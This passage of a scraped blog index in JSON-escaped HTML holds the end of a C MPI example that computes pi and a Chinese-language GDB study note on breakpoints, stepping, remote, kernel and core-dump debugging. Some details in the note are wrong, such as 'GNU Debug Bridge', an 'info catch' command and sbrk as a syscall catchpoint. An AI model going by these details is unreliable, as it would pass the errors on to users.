class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mpi.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"number\"\u003e4.0\u003c/span\u003e/(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e+x*x));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myid, numprocs;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e mypi, pi;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e h, sum, x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Init(\u0026amp;argc,\u0026amp;argv);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_size(MPI_COMM_WORLD,\u0026amp;numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_rank(MPI_COMM_WORLD,\u0026amp;myid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d of %d.\\n\u0026#34;\u003c/span\u003e, myid, numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e h = \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e) n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum = \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = myid + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i += numprocs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = h * ((\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)i - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum +=f(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mypi = h * sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Reduce(\u0026amp;mypi, \u0026amp;pi, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, MPI_DOUBLE, MPI_SUM, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, MPI_COMM_WORLD);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (myid == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The result is %.10f.\\n\u0026#34;\u003c/span\u003e,pi);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Finalize();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"GDB学习笔记","time":"2023-03-16T15:12:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGDB(GNU Debug Bridge)是一个二进制程序调试工具,适用于调试C和C++程序。这种二进制程序工具统称为bin-utils。类似的还有\u003ccode\u003estrace\u003c/code\u003e,一个跟踪程序系统调用的工具。\u003c/p\u003e\u003ch2 id=\"快速上手\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\" class=\"headerlink\" title=\"快速上手\"\u003e\u003c/a\u003e快速上手\u003c/h2\u003e\u003cp\u003e在此之前,编译程序时记得加上\u003ccode\u003e-g\u003c/code\u003e参数来生成调试信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -g -o main\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先,使用\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e启动gdb并加载程序。随后,使用\u003ccode\u003ebreak main\u003c/code\u003e在\u003ccode\u003emain\u003c/code\u003e函数入口设置断点,否则程序会直接执行完成。接着,使用\u003ccode\u003erun [args]\u003c/code\u003e执行程序并附加可选的参数。程序会在断点处停止,在这之后,就可以使用\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e)或\u003ccode\u003estep\u003c/code\u003e单步执行,使用\u003ccode\u003eprint expr\u003c/code\u003e打印表达式的值。完成后,用\u003ccode\u003equit\u003c/code\u003e退出gdb。\u003c/p\u003e\u003ch3 id=\"解释说明\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%87%8A%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"解释说明\"\u003e\u003c/a\u003e解释说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e只有编译时加上了\u003ccode\u003e-g\u003c/code\u003e,gdb才能进行调试\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e表示执行下一条语句而不进入函数内部;\u003ccode\u003estep\u003c/code\u003e则会进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint expr\u003c/code\u003e可以输出表达式的值,一次一个参数。例如查看数组arr的第i个元素可以用\u003ccode\u003eprint arr[i]\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"GDB的几种模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GDB%E7%9A%84%E5%87%A0%E7%A7%8D%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"GDB的几种模式\"\u003e\u003c/a\u003eGDB的几种模式\u003c/h2\u003e\u003cp\u003eGDB有多种模式,包括交互模式、批处理模式、远程调试模式等。交互模式是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。批处理模式可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。远程调试模式可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e交互模式\u003c/code\u003e 是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。进入交互模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。交互模式的作用是让用户能够在程序执行过程中控制程序的执行,查看程序的状态,以及调试程序的错误。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e批处理模式\u003c/code\u003e 可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。进入批处理模式的方法是在命令行中输入\u003ccode\u003egdb -batch -x \u0026lt;script\u0026gt; \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;script\u0026gt;\u003c/code\u003e是包含GDB命令的脚本文件,\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。批处理模式的作用是让用户能够自动化执行一系列GDB命令,以便进行自动化测试和调试。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e远程调试模式\u003c/code\u003e 可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。进入远程调试模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,然后使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e命令连接到远程主机,其中\u003ccode\u003e\u0026lt;host\u0026gt;\u003c/code\u003e是远程主机的IP地址或主机名,\u003ccode\u003e\u0026lt;port\u0026gt;\u003c/code\u003e是远程主机上GDB服务器的端口号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eGDB的软件结构可以分为以下几个部分:\u003c/p\u003e\u003col\u003e\u003cli\u003e前端:用户与GDB交互的界面,可以是命令行界面或者GUI界面。\u003c/li\u003e\u003cli\u003e后端:GDB的核心部分,负责解析用户输入的命令,控制程序的执行,以及与目标程序进行通信。\u003c/li\u003e\u003cli\u003e目标:被调试的程序,GDB通过与目标程序进行通信来控制其执行。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"常用指令\"\u003e\u003c/a\u003e常用指令\u003c/h2\u003e\u003cp\u003e以下是GDB常用的指令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e:设置断点\u003c/li\u003e\u003cli\u003e\u003ccode\u003erun\u003c/code\u003e:运行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e):执行下一条语句而不进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003estep\u003c/code\u003e(简写为\u003ccode\u003es\u003c/code\u003e):进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint\u003c/code\u003e(简写为\u003ccode\u003ep\u003c/code\u003e):打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebacktrace\u003c/code\u003e(简写为\u003ccode\u003ebt\u003c/code\u003e):打印函数调用栈\u003c/li\u003e\u003cli\u003e\u003ccode\u003einfo\u003c/code\u003e:显示各种信息,如变量、寄存器、线程等\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewatch\u003c/code\u003e:设置观察点,当观察的变量被修改时停止程序执行\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e(简写为\u003ccode\u003ec\u003c/code\u003e):继续执行程序直到下一个断点或程序结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003efinish\u003c/code\u003e:执行完当前函数并返回到调用该函数的地方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset\u003c/code\u003e:设置变量的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisplay\u003c/code\u003e:每次停在断点处时自动打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisable\u003c/code\u003e:禁用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003eenable\u003c/code\u003e:启用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003edelete\u003c/code\u003e:删除断点或观察点\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"高级功能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%AB%98%E7%BA%A7%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"高级功能\"\u003e\u003c/a\u003e高级功能\u003c/h2\u003e\u003cp\u003e除了常用指令外,GDB还有一些高级功能:\u003c/p\u003e\u003ch3 id=\"多线程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"多线程调试\"\u003e\u003c/a\u003e多线程调试\u003c/h3\u003e\u003cp\u003eGDB支持多线程调试。可以使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,使用\u003ccode\u003ethread \u0026lt;id\u0026gt;\u003c/code\u003e命令切换到指定线程,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread \u0026lt;id\u0026gt;\u003c/code\u003e命令在指定线程中设置断点。\u003c/p\u003e\u003cp\u003e例如,我们有一个多线程程序\u003ccode\u003etest\u003c/code\u003e,其中有两个线程\u003ccode\u003ethread1\u003c/code\u003e和\u003ccode\u003ethread2\u003c/code\u003e,我们想在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。首先,使用\u003ccode\u003egdb test\u003c/code\u003e命令启动gdb并加载程序。接着,使用\u003ccode\u003erun\u003c/code\u003e命令运行程序。程序会在主线程中停止,使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,找到\u003ccode\u003ethread2\u003c/code\u003e的ID。假设\u003ccode\u003ethread2\u003c/code\u003e的ID为2,使用\u003ccode\u003ethread 2\u003c/code\u003e命令切换到\u003ccode\u003ethread2\u003c/code\u003e,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread 2\u003c/code\u003e命令在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。完成后,使用\u003ccode\u003econtinue\u003c/code\u003e命令继续执行程序,程序会在断点处停止。\u003c/p\u003e\u003ch3 id=\"远程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"远程调试\"\u003e\u003c/a\u003e远程调试\u003c/h3\u003e\u003cp\u003eGDB支持远程调试,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到远程主机,使用\u003ccode\u003efile \u0026lt;path\u0026gt;\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试核心转储文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%A0%B8%E5%BF%83%E8%BD%AC%E5%82%A8%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"调试核心转储文件\"\u003e\u003c/a\u003e调试核心转储文件\u003c/h3\u003e\u003cp\u003e当程序崩溃时,可以使用GDB调试核心转储文件。可以使用\u003ccode\u003ecore \u0026lt;file\u0026gt;\u003c/code\u003e命令加载核心转储文件,使用\u003ccode\u003ebt\u003c/code\u003e命令查看函数调用栈。\u003c/p\u003e\u003ch3 id=\"调试动态链接库\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93\" class=\"headerlink\" title=\"调试动态链接库\"\u003e\u003c/a\u003e调试动态链接库\u003c/h3\u003e\u003cp\u003eGDB可以调试动态链接库,可以使用\u003ccode\u003eset solib-search-path \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库搜索路径,使用\u003ccode\u003einfo sharedlibrary\u003c/code\u003e查看已加载的动态链接库,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在动态链接库中设置断点。\u003c/p\u003e\u003ch3 id=\"调试汇编代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"调试汇编代码\"\u003e\u003c/a\u003e调试汇编代码\u003c/h3\u003e\u003cp\u003eGDB可以调试汇编代码,可以使用\u003ccode\u003elayout asm\u003c/code\u003e查看汇编代码窗口,使用\u003ccode\u003estepi\u003c/code\u003e单步执行汇编指令,使用\u003ccode\u003edisassemble \u0026lt;func\u0026gt;\u003c/code\u003e查看函数的汇编代码。\u003c/p\u003e\u003ch3 id=\"调试嵌入式系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"调试嵌入式系统\"\u003e\u003c/a\u003e调试嵌入式系统\u003c/h3\u003e\u003cp\u003eGDB可以调试嵌入式系统,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到嵌入式系统,使用\u003ccode\u003eset remotebaud \u0026lt;baud\u0026gt;\u003c/code\u003e设置串口波特率,使用\u003ccode\u003emonitor reset\u003c/code\u003e复位嵌入式系统,使用\u003ccode\u003eload\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试内核\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%86%85%E6%A0%B8\" class=\"headerlink\" title=\"调试内核\"\u003e\u003c/a\u003e调试内核\u003c/h3\u003e\u003cp\u003eGDB可以调试内核,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到内核,使用\u003ccode\u003eset architecture \u0026lt;arch\u0026gt;\u003c/code\u003e设置架构,使用\u003ccode\u003eset osabi \u0026lt;osabi\u0026gt;\u003c/code\u003e设置操作系统ABI,使用\u003ccode\u003eset solib-absolute-prefix \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库路径,使用\u003ccode\u003eadd-symbol-file \u0026lt;file\u0026gt; \u0026lt;addr\u0026gt;\u003c/code\u003e加载符号文件,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在内核中设置断点。\u003c/p\u003e\u003ch3 id=\"调试追踪系统调用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8\" class=\"headerlink\" title=\"调试追踪系统调用\"\u003e\u003c/a\u003e调试追踪系统调用\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪系统调用,可以使用\u003ccode\u003ecatch syscall \u0026lt;syscall\u0026gt;\u003c/code\u003e设置系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看系统调用断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行系统调用。\u003c/p\u003e\u003ch3 id=\"调试追踪信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"调试追踪信号\"\u003e\u003c/a\u003e调试追踪信号\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号,可以使用\u003ccode\u003ecatch signal \u0026lt;signal\u0026gt;\u003c/code\u003e设置信号断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行信号处理函数。\u003c/p\u003e\u003ch3 id=\"调试追踪fork和exec\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AAfork%E5%92%8Cexec\" class=\"headerlink\" title=\"调试追踪fork和exec\"\u003e\u003c/a\u003e调试追踪fork和exec\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪fork和exec,可以使用\u003ccode\u003eset follow-fork-mode \u0026lt;mode\u0026gt;\u003c/code\u003e设置fork和exec的跟踪模式,使用\u003ccode\u003ecatch fork\u003c/code\u003e设置fork断点,使用\u003ccode\u003ecatch exec\u003c/code\u003e设置exec断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看fork和exec断点。\u003c/p\u003e\u003ch3 id=\"调试追踪动态内存分配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%8A%A8%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"调试追踪动态内存分配\"\u003e\u003c/a\u003e调试追踪动态内存分配\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪动态内存分配,可以使用\u003ccode\u003ecatch syscall brk\u003c/code\u003e设置brk系统调用断点,使用\u003ccode\u003ecatch syscall sbrk\u003c/code\u003e设置sbrk系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看brk和sbrk断点。\u003c/p\u003e\u003ch3 id=\"调试追踪文件操作\"\u003e\u003ca 